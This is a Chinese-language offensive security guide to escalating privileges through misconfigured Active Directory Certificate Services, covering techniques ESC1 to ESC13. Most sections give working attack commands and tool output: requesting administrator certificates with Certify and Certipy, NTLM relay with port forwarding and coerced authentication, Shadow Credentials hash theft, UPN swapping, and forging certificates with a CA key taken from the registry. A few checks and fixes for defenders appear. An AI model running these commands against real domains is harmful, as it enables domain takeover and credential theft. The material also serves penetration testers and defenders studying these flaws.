AD CS Domain Escalation

Reading time: 57 minutes

这是升级技术部分的总结：

• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
• https://github.com/ly4k/Certipy

Misconfigured Certificate Templates - ESC1

Explanation

Misconfigured Certificate Templates - ESC1 Explained

• 企业CA授予低权限用户注册权。
• 不需要经理批准。
• 不需要授权人员的签名。
• 证书模板上的安全描述符过于宽松，允许低权限用户获得注册权。
• 证书模板被配置为定义促进身份验证的EKU：
• 包含客户端身份验证（OID 1.3.6.1.5.5.7.3.2）、PKINIT客户端身份验证（1.3.6.1.5.2.3.4）、智能卡登录（OID 1.3.6.1.4.1.311.20.2.2）、任何目的（OID 2.5.29.37.0）或无EKU（SubCA）等扩展密钥使用（EKU）标识符。
• 模板允许请求者在证书签名请求（CSR）中包含subjectAltName：
• 如果存在，Active Directory（AD）在证书中优先考虑subjectAltName（SAN）进行身份验证。这意味着通过在CSR中指定SAN，可以请求证书以冒充任何用户（例如，域管理员）。请求者是否可以指定SAN在证书模板的AD对象中通过mspki-certificate-name-flag属性指示。该属性是一个位掩码，CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志的存在允许请求者指定SAN。

此功能有时被启用以支持产品或部署服务的HTTPS或主机证书的即时生成，或由于缺乏理解。

需要注意的是，使用此选项创建证书会触发警告，而当复制现有证书模板（例如，启用了CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT的WebServer模板）并修改以包含身份验证OID时则不会。

Abuse

要查找易受攻击的证书模板，您可以运行：

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

要利用此漏洞冒充管理员，可以运行：

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

然后您可以将生成的 证书转换为 .pfx 格式，并再次使用 Rubeus 或 certipy 进行 身份验证：

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

可以通过运行以下 LDAP 查询来枚举 AD Forest 配置架构中的证书模板，特别是那些不需要批准或签名、具有客户端身份验证或智能卡登录 EKU，并且启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志的模板:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Misconfigured Certificate Templates - ESC2

Explanation

第二个滥用场景是第一个场景的变体：

1. 企业 CA 授予低权限用户注册权限。
2. 禁用经理批准的要求。
3. 省略授权签名的需要。
4. 证书模板上的安全描述符过于宽松，授予低权限用户证书注册权限。
5. 证书模板被定义为包含任何目的 EKU 或没有 EKU。

任何目的 EKU 允许攻击者为 任何目的 获取证书，包括客户端身份验证、服务器身份验证、代码签名等。可以使用与 ESC3 相同的 技术 来利用此场景。

具有 无 EKU 的证书，作为下级 CA 证书，可以被用于 任何目的，并且 也可以用于签署新证书。因此，攻击者可以通过利用下级 CA 证书指定任意 EKU 或字段在新证书中。

然而，如果下级 CA 未被 NTAuthCertificates 对象信任（这是默认设置），则为 域身份验证 创建的新证书将无法正常工作。尽管如此，攻击者仍然可以创建 具有任何 EKU 和任意证书值的新证书。这些证书可能会被 滥用 用于广泛的目的（例如，代码签名、服务器身份验证等），并可能对网络中其他应用程序（如 SAML、AD FS 或 IPSec）产生重大影响。

要枚举与此场景匹配的模板，可以运行以下 LDAP 查询：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Misconfigured Enrolment Agent Templates - ESC3

Explanation

这个场景与第一个和第二个场景类似，但滥用了不同的 EKU（证书请求代理）和两个不同的模板（因此有两组要求），

证书请求代理 EKU（OID 1.3.6.1.4.1.311.20.2.1），在 Microsoft 文档中称为Enrollment Agent，允许一个主体代表另一个用户进行证书注册。

“enrollment agent” 在这样的模板中注册，并使用生成的证书代表其他用户共同签署 CSR。然后，它将共同签署的 CSR发送到 CA，注册一个允许“代表注册”的模板，CA 随后响应一个属于“其他”用户的证书。

Requirements 1:

• 企业 CA 授予低权限用户注册权。
• 省略了经理批准的要求。
• 没有授权签名的要求。
• 证书模板的安全描述符过于宽松，授予低权限用户注册权。
• 证书模板包括证书请求代理 EKU，允许代表其他主体请求其他证书模板。

Requirements 2:

• 企业 CA 授予低权限用户注册权。
• 经理批准被绕过。
• 模板的架构版本为 1 或超过 2，并指定了需要证书请求代理 EKU 的应用程序策略发行要求。
• 证书模板中定义的 EKU 允许域身份验证。
• CA 上未应用对注册代理的限制。

Abuse

您可以使用 Certify 或 Certipy 来滥用此场景：

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

允许获取注册代理证书的用户、注册代理被允许注册的模板，以及注册代理可以代表其行动的帐户可以通过企业CA进行限制。这是通过打开certsrc.msc 管理单元，右键单击CA，点击属性，然后导航到“注册代理”选项卡来实现的。

然而，注意到CA的默认设置是“不限制注册代理。”当管理员启用对注册代理的限制，将其设置为“限制注册代理”时，默认配置仍然非常宽松。它允许所有人以任何身份访问所有模板进行注册。

脆弱的证书模板访问控制 - ESC4

解释

证书模板上的安全描述符定义了特定AD主体对模板所拥有的权限。

如果攻击者拥有必要的权限来更改模板并建立任何在前面部分中概述的可利用的错误配置，则可能会促进特权升级。

适用于证书模板的显著权限包括：

• **所有者：**隐式控制对象，允许修改任何属性。
• **完全控制：**对对象拥有完全权限，包括更改任何属性的能力。
• **写所有者：**允许将对象的所有者更改为攻击者控制的主体。
• **写Dacl：**允许调整访问控制，可能授予攻击者完全控制权限。
• **写属性：**授权编辑任何对象属性。

滥用

一个类似于之前的特权升级的例子：

ESC4是指用户对证书模板具有写权限。这可以被滥用来覆盖证书模板的配置，使模板易受ESC1的攻击。

正如我们在上面的路径中看到的，只有JOHNPC拥有这些权限，但我们的用户JOHN对JOHNPC有新的AddKeyCredentialLink边缘。由于此技术与证书相关，我也实现了这种攻击，称为Shadow Credentials。这是Certipy的shadow auto命令的一个小预览，用于检索受害者的NT哈希。

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy 可以通过一个命令覆盖证书模板的配置。默认情况下，Certipy 将覆盖配置，使其对 ESC1 易受攻击。我们还可以指定 -save-old 参数以保存旧配置，这在我们攻击后 恢复 配置时将非常有用。

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerable PKI Object Access Control - ESC5

Explanation

广泛的基于ACL的关系网络，包括多个超出证书模板和证书颁发机构的对象，可能会影响整个AD CS系统的安全性。这些对象可能显著影响安全性，包括：

• CA服务器的AD计算机对象，可能通过S4U2Self或S4U2Proxy等机制被攻陷。
• CA服务器的RPC/DCOM服务器。
• 在特定容器路径CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内的任何后代AD对象或容器。该路径包括但不限于容器和对象，如证书模板容器、认证机构容器、NTAuthCertificates对象和注册服务容器。

如果低权限攻击者设法控制这些关键组件中的任何一个，PKI系统的安全性可能会受到威胁。

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explanation

在CQure Academy post中讨论的主题也涉及**EDITF_ATTRIBUTESUBJECTALTNAME2标志的影响，如微软所述。当在认证机构（CA）上激活此配置时，允许在任何请求的主题备用名称中包含用户定义的值**，包括那些从Active Directory®构建的请求。因此，这一条款允许入侵者通过为域身份验证设置的任何模板进行注册——特别是那些对无特权用户注册开放的模板，如标准用户模板。结果，可以获得证书，使入侵者能够以域管理员或域内任何其他活动实体的身份进行身份验证。

注意：通过certreq.exe中的-attrib "SAN:"参数将备用名称附加到证书签名请求（CSR）的方法（称为“名称值对”）与ESC1中SAN的利用策略存在对比。这里的区别在于账户信息的封装方式——在证书属性中，而不是扩展中。

Abuse

要验证该设置是否已激活，组织可以使用以下命令与certutil.exe：

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

此操作本质上使用 远程注册表访问，因此，另一种方法可能是：

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

像 Certify 和 Certipy 这样的工具能够检测到这种错误配置并加以利用：

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

要更改这些设置，假设拥有域管理员权限或同等权限，可以从任何工作站执行以下命令：

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

要在您的环境中禁用此配置，可以使用以下命令移除标志：

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

易受攻击的证书颁发机构访问控制 - ESC7

攻击 1

解释

证书颁发机构的访问控制通过一组权限来维护，这些权限管理CA的操作。可以通过访问certsrv.msc，右键单击CA，选择属性，然后导航到安全选项卡来查看这些权限。此外，可以使用PSPKI模块和以下命令枚举权限：

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

这提供了主要权限的见解，即 ManageCA 和 ManageCertificates，分别对应于“CA管理员”和“证书管理器”的角色。

滥用

在证书授权中心拥有 ManageCA 权限使得主体能够使用 PSPKI 远程操控设置。这包括切换 EDITF_ATTRIBUTESUBJECTALTNAME2 标志，以允许在任何模板中指定 SAN，这是域升级的一个关键方面。

通过使用 PSPKI 的 Enable-PolicyModuleFlag cmdlet，可以简化此过程，允许在不直接与 GUI 交互的情况下进行修改。

拥有 ManageCertificates 权限可以批准待处理的请求，有效地绕过“CA 证书管理器批准”保护。

可以结合 Certify 和 PSPKI 模块来请求、批准和下载证书：

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attack 2

Explanation

因此，这里提出了另一个攻击。

前提条件：

• 仅需 ManageCA 权限
• Manage Certificates 权限（可以从 ManageCA 授予）
• 证书模板 SubCA 必须启用（可以从 ManageCA 启用）

该技术依赖于拥有 Manage CA 和 Manage Certificates 访问权限的用户可以发出失败的证书请求。SubCA 证书模板易受 ESC1 攻击，但只有管理员可以注册该模板。因此，用户可以请求注册 SubCA - 这将被拒绝 - 但随后由管理员发放。

Abuse

您可以通过将您的用户添加为新官员来授予自己 Manage Certificates 访问权限。

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA 模板可以通过 -enable-template 参数在 CA 上启用。默认情况下，SubCA 模板是启用的。

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

如果我们满足了此攻击的前提条件，我们可以开始请求基于 SubCA 模板的证书。

此请求将被拒绝，但我们将保存私钥并记录请求 ID。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

通过我们的 Manage CA 和 Manage Certificates，我们可以使用 ca 命令和 -issue-request <request ID> 参数 发布失败的证书 请求。

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

最后，我们可以使用 req 命令和 -retrieve <request ID> 参数 检索已发放的证书。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

攻击 3 – 管理证书扩展滥用 (SetExtension)

解释

除了经典的 ESC7 滥用（启用 EDITF 属性或批准待处理请求），Certify 2.0 揭示了一种全新的原语，只需要在企业 CA 上拥有 管理证书（即 证书管理员 / 官员）角色。

ICertAdmin::SetExtension RPC 方法可以由任何持有 管理证书 的主体执行。虽然该方法传统上用于合法 CA 更新 待处理 请求的扩展，但攻击者可以滥用它来 附加一个 非默认 证书扩展（例如自定义的 证书颁发政策 OID，如 1.1.1.1）到一个等待批准的请求上。

因为目标模板 没有为该扩展定义默认值，所以 CA 在请求最终被发出时不会覆盖攻击者控制的值。因此，生成的证书包含一个攻击者选择的扩展，可能会：

• 满足其他易受攻击模板的应用程序 / 颁发政策要求（导致权限提升）。
• 注入额外的 EKU 或政策，使证书在第三方系统中获得意外的信任。

简而言之，管理证书 – 之前被认为是 ESC7 的“较弱”一半 – 现在可以被利用进行完全的权限提升或长期持久性，而无需触及 CA 配置或要求更严格的 管理 CA 权限。

使用 Certify 2.0 滥用原语

1. 提交一个将保持 待处理 的证书请求。 这可以通过需要经理批准的模板强制执行：

Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# 记下返回的请求 ID

2. 使用新的 manage-ca 命令将自定义扩展附加到待处理请求：

Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00"  # 假的颁发政策 OID

如果模板尚未定义 证书颁发政策 扩展，上述值将在颁发后保留。

3. 发出请求（如果您的角色也具有 管理证书 批准权限）或等待操作员批准。一旦发出，下载证书：

Certify.exe request-download --ca SERVER\\CA-NAME --id 1337

4. 生成的证书现在包含恶意的颁发政策 OID，可以在后续攻击中使用（例如 ESC13、域提升等）。

注意：同样的攻击可以通过 ca 命令和 -set-extension 参数使用 Certipy ≥ 4.7 执行。

NTLM 中继到 AD CS HTTP 端点 – ESC8

解释

AD CS 支持几种 基于 HTTP 的注册方法，这些方法通过管理员可能安装的附加服务器角色提供。这些用于基于 HTTP 的证书注册的接口易受 NTLM 中继攻击。攻击者可以从 被攻陷的机器上，冒充任何通过入站 NTLM 进行身份验证的 AD 账户。在冒充受害者账户时，这些 web 接口可以被攻击者访问，以 请求使用 User 或 Machine 证书模板的客户端身份验证证书。

• web 注册接口（一个较旧的 ASP 应用程序，位于 http://<caserver>/certsrv/），默认仅支持 HTTP，这并不提供对 NTLM 中继攻击的保护。此外，它明确只允许通过其授权 HTTP 头进行 NTLM 身份验证，使得更安全的身份验证方法如 Kerberos 无法适用。
• 证书注册服务（CES）、证书注册政策（CEP）Web 服务和 网络设备注册服务（NDES）默认通过其授权 HTTP 头支持协商身份验证。协商身份验证 同时支持 Kerberos 和 NTLM，允许攻击者在中继攻击期间 降级到 NTLM 身份验证。尽管这些 web 服务默认启用 HTTPS，但仅靠 HTTPS 并不能保护免受 NTLM 中继攻击。对于 HTTPS 服务，只有在 HTTPS 与通道绑定结合时，才能防止 NTLM 中继攻击。不幸的是，AD CS 在 IIS 上未激活身份验证的扩展保护，这是通道绑定所需的。

NTLM 中继攻击的一个常见 问题 是 NTLM 会话的持续时间短，攻击者无法与 要求 NTLM 签名 的服务进行交互。

然而，这一限制通过利用 NTLM 中继攻击获取用户证书来克服，因为证书的有效期决定了会话的持续时间，并且该证书可以与 要求 NTLM 签名 的服务一起使用。有关如何使用被盗证书的说明，请参见：

AD CS Account Persistence

NTLM 中继攻击的另一个限制是 攻击者控制的机器必须由受害者账户进行身份验证。攻击者可以选择等待或尝试 强制 进行此身份验证：

Force NTLM Privileged Authentication

滥用

Certify 的 cas 枚举 启用的 HTTP AD CS 端点：

Certify.exe cas

msPKI-Enrollment-Servers 属性由企业证书颁发机构 (CAs) 用于存储证书注册服务 (CES) 端点。可以通过利用工具 Certutil.exe 解析和列出这些端点：

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *

利用 Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abuse with Certipy

证书请求默认由 Certipy 基于模板 Machine 或 User 发出，具体取决于被中继的账户名称是否以 $ 结尾。可以通过使用 -template 参数来指定替代模板。

然后可以使用像 PetitPotam 这样的技术来强制身份验证。在处理域控制器时，需要指定 -template DomainController。

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

解释

新的值 CT_FLAG_NO_SECURITY_EXTENSION (0x80000) 对于 msPKI-Enrollment-Flag，称为 ESC9，防止在证书中嵌入 新的 szOID_NTDS_CA_SECURITY_EXT 安全扩展。当 StrongCertificateBindingEnforcement 设置为 1（默认设置）时，该标志变得相关，这与设置为 2 的情况形成对比。在可能被利用的情况下，例如 Kerberos 或 Schannel 的较弱证书映射（如 ESC10），其相关性更高，因为缺少 ESC9 不会改变要求。

该标志设置变得重要的条件包括：

• StrongCertificateBindingEnforcement 未调整为 2（默认为 1），或 CertificateMappingMethods 包含 UPN 标志。
• 证书在 msPKI-Enrollment-Flag 设置中标记为 CT_FLAG_NO_SECURITY_EXTENSION 标志。
• 证书指定了任何客户端身份验证 EKU。
• 对任何帐户具有 GenericWrite 权限以妥协另一个帐户。

滥用场景

假设 John@corp.local 对 Jane@corp.local 拥有 GenericWrite 权限，目标是妥协 Administrator@corp.local。ESC9 证书模板，Jane@corp.local 被允许注册，已在其 msPKI-Enrollment-Flag 设置中配置了 CT_FLAG_NO_SECURITY_EXTENSION 标志。

最初，使用 Shadow Credentials 获取 Jane 的哈希，得益于 John 的 GenericWrite：

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

随后，Jane的userPrincipalName被修改为Administrator，故意省略了@corp.local域部分：

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

此修改不违反约束，因为 Administrator@corp.local 仍然作为 Administrator 的 userPrincipalName 而保持独特。

接下来，标记为易受攻击的 ESC9 证书模板被请求为 Jane：

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

注意到证书的 userPrincipalName 反映了 Administrator，没有任何“对象 SID”。

Jane 的 userPrincipalName 随后恢复为她的原始值 Jane@corp.local：

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

尝试使用颁发的证书进行身份验证现在会产生 Administrator@corp.local 的 NT 哈希。由于证书缺乏域的指定，命令必须包含 -domain <domain>：

certipy auth -pfx adminitrator.pfx -domain corp.local

弱证书映射 - ESC10

解释

域控制器上的两个注册表键值被ESC10引用：

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel下的CertificateMappingMethods的默认值为0x18（0x8 | 0x10），之前设置为0x1F。
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc下的StrongCertificateBindingEnforcement的默认设置为1，之前为0。

案例 1

当StrongCertificateBindingEnforcement配置为0时。

案例 2

如果CertificateMappingMethods包含UPN位（0x4）。

滥用案例 1

当StrongCertificateBindingEnforcement配置为0时，具有GenericWrite权限的账户A可以被利用来妥协任何账户B。

例如，拥有对Jane@corp.local的GenericWrite权限，攻击者旨在妥协Administrator@corp.local。该过程与ESC9相似，允许使用任何证书模板。

最初，使用Shadow Credentials检索Jane的哈希，利用GenericWrite。

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

随后，Jane的userPrincipalName被更改为Administrator，故意省略@corp.local部分以避免约束冲突。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

接下来，作为 Jane 请求一个启用客户端身份验证的证书，使用默认的 User 模板。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane的userPrincipalName随后恢复为其原始值Jane@corp.local。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

使用获得的证书进行身份验证将产生 Administrator@corp.local 的 NT 哈希，因此由于证书中缺少域详细信息，命令中需要指定域。

certipy auth -pfx administrator.pfx -domain corp.local

Abuse Case 2

在 CertificateMappingMethods 包含 UPN 位标志 (0x4) 的情况下，具有 GenericWrite 权限的账户 A 可以破坏任何缺少 userPrincipalName 属性的账户 B，包括计算机账户和内置域管理员 Administrator。

在这里，目标是破坏 DC$@corp.local，首先通过 Shadow Credentials 获取 Jane 的哈希，利用 GenericWrite。

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane的userPrincipalName被设置为DC$@corp.local。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

请求一个用于客户端身份验证的证书，作为 Jane 使用默认的 User 模板。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane的userPrincipalName在此过程后恢复为其原始值。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

通过 Schannel 进行身份验证时，使用 Certipy 的 -ldap-shell 选项，表示身份验证成功为 u:CORP\DC$。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

通过LDAP shell，命令如set_rbcd启用基于资源的受限委派（RBCD）攻击，可能会危及域控制器。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

此漏洞还扩展到任何缺少 userPrincipalName 的用户帐户，或其与 sAMAccountName 不匹配的情况，默认的 Administrator@corp.local 是一个主要目标，因为它具有提升的 LDAP 权限，并且默认情况下缺少 userPrincipalName。

Relaying NTLM to ICPR - ESC11

Explanation

如果 CA 服务器未配置 IF_ENFORCEENCRYPTICERTREQUEST，则可以通过 RPC 服务进行未签名的 NTLM 中继攻击。Reference in here。

您可以使用 certipy 来枚举 Enforce Encryption for Requests 是否被禁用，certipy 将显示 ESC11 漏洞。

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

滥用场景

需要设置一个中继服务器：

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

注意：对于域控制器，我们必须在 DomainController 中指定 -template。

或者使用 sploutchy's fork of impacket：

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Shell access to ADCS CA with YubiHSM - ESC12

Explanation

管理员可以设置证书颁发机构，将其存储在外部设备上，如“Yubico YubiHSM2”。

如果USB设备通过USB端口连接到CA服务器，或者在CA服务器是虚拟机的情况下连接到USB设备服务器，则需要一个身份验证密钥（有时称为“密码”），以便密钥存储提供程序生成和使用YubiHSM中的密钥。

此密钥/密码以明文形式存储在注册表中，路径为HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword。

参考在 here。

Abuse Scenario

如果CA的私钥存储在物理USB设备上，当你获得shell访问时，可以恢复该密钥。

首先，你需要获取CA证书（这是公开的），然后：

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

最后，使用 certutil -sign 命令利用 CA 证书及其私钥伪造一个新的任意证书。

OID 组链接滥用 - ESC13

解释

msPKI-Certificate-Policy 属性允许将发行政策添加到证书模板中。负责发行政策的 msPKI-Enterprise-Oid 对象可以在 PKI OID 容器的配置命名上下文 (CN=OID,CN=Public Key Services,CN=Services) 中发现。可以使用该对象的 msDS-OIDToGroupLink 属性将政策链接到 AD 组，从而使系统能够授权呈现证书的用户，仿佛他是该组的成员。Reference in here。

换句话说，当用户有权注册证书且该证书链接到 OID 组时，用户可以继承该组的权限。

使用 Check-ADCSESC13.ps1 查找 OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

滥用场景

找到一个用户权限，可以使用 certipy find 或 Certify.exe find /showAllPermissions。

如果 John 有权限注册 VulnerableTemplate，则该用户可以继承 VulnerableGroup 组的特权。

所需的只是指定模板，它将获得具有 OIDToGroupLink 权限的证书。

